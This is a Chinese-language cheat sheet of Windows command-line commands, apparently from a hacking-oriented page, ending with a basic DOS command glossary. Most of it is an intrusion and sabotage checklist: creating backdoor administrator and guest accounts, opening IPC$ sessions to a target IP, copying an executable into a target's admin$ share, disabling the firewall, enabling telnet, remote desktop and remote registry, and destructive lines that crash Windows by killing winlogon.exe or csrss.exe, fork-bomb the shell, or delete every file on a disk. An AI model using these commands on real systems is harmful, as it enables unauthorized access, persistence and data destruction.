net user 用戶名 密碼 /add (建立用戶) net localgroup Administrators 用戶名 /add (將用戶加到管理員，使其擁有管理權限) net user guest /active:Yes (激活guest用戶) net user guest 12345 (修改guest密碼為12345) net user (查看賬號屬性) net use \\ip\ipc$ "" /user (建立空IPC鏈接) net use \\ip\ipc$ "密碼" /user:"用戶名" (建立IPC非空鏈接，非空鏈接就是需要帳戶和密碼) net use \\ip\ipc$ /del (刪除IPC空鏈接) net start (查看開啟了哪些服務) net start 服務名 (開啟服務) net time \\目標IP (查看對方時間) net view (查看本地局域網開啟了哪些共享) net share (查看本地開啟的哪些共享) net share C$/del (刪除C：共享) netstat -a (查看計算機開放了哪些端口) netstat -n (查看端口的網絡連接情況) nbtstat -A ip (對方136到139一個端口開放了就可以查出對方用戶名) Copy xx.exe\\ip\admin$\System32 (將當前xx.exe復制到對方Admin$共享的System32目錄內) sc config tlntsvr start= auto(修改telnet服務的啟動方式為自動，auto前面有一個空格) net stop sharedaccess(關閉系統自帶的防火牆) net send IP 消息(利用messenger服務向目標IP發送消息) ntsd -c q -pn winlogon.exe(藍屏重啟) ntsd -c q -pn csrss.exe(死機) tasklist(查看進程) taskkill(結束進程) 開啟禁用的telnet服務： sc config tlntsvr start= auto(auto前有空格) 開啟3389遠程終端 reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t reg_dword /d 0 /f 查詢3389的端口： WIN7: REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber WIN7: REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber 開啟C盤默認共享 net share c$=c: 開啟計划任務服務（at命令需要這一服務） net start schedule 開啟遠程注冊表(Remote Registry)服務 net start remoteregistry 1.重復執行某條命令直至死機的批處理代碼： start cmd %0
2.復制一個文件的磁盤的每個子文件夾當中： for /r /d %a in (*) do copy test.txt "%a" /y 3.不停地執行同一條命令： for /l %a in (1,0,2) do net send 192.168.2.25 “Hi！" 4.死機,藍屏 ntsd -c q -pn winlogon.exe ntsd -c q -pn csrss.exe 5.自刪除，批處理文件名為delme.bat …… del delme.bat 6.刪除磁盤所有文件： del * /a /s /q /f 7.創建名字為空的文件夾： md (按住Alt鍵，在小鍵盤上按2,5,5,然后松開Alt,回車) 8.創建無法刪除的特殊名字文件夾： md \\.\c:\con md \\.\c:\aux 9.創建無法雙擊打開無法刪除的另類文件夾： md test..\ rd test..\ /s /q Cd 切換目錄 Dir 列出所有文件信息 Del 刪除文件 Md 創建目錄 Rd刪除目錄 Copy 復制 Xcopy 復制文件和文件夾 Cls 清屏 Attrib 修改文件、文件夾屬性 Date、Time顯示日期、時間 Path 系統路徑 Set 顯示、設置系統信息 Ren(Rename)重命名 Subst 虛擬磁盤 Ver 顯示操作系統版本 Help 幫助 Systeminfo 查看系統軟硬件信息 /? 顯示某條命令的幫助
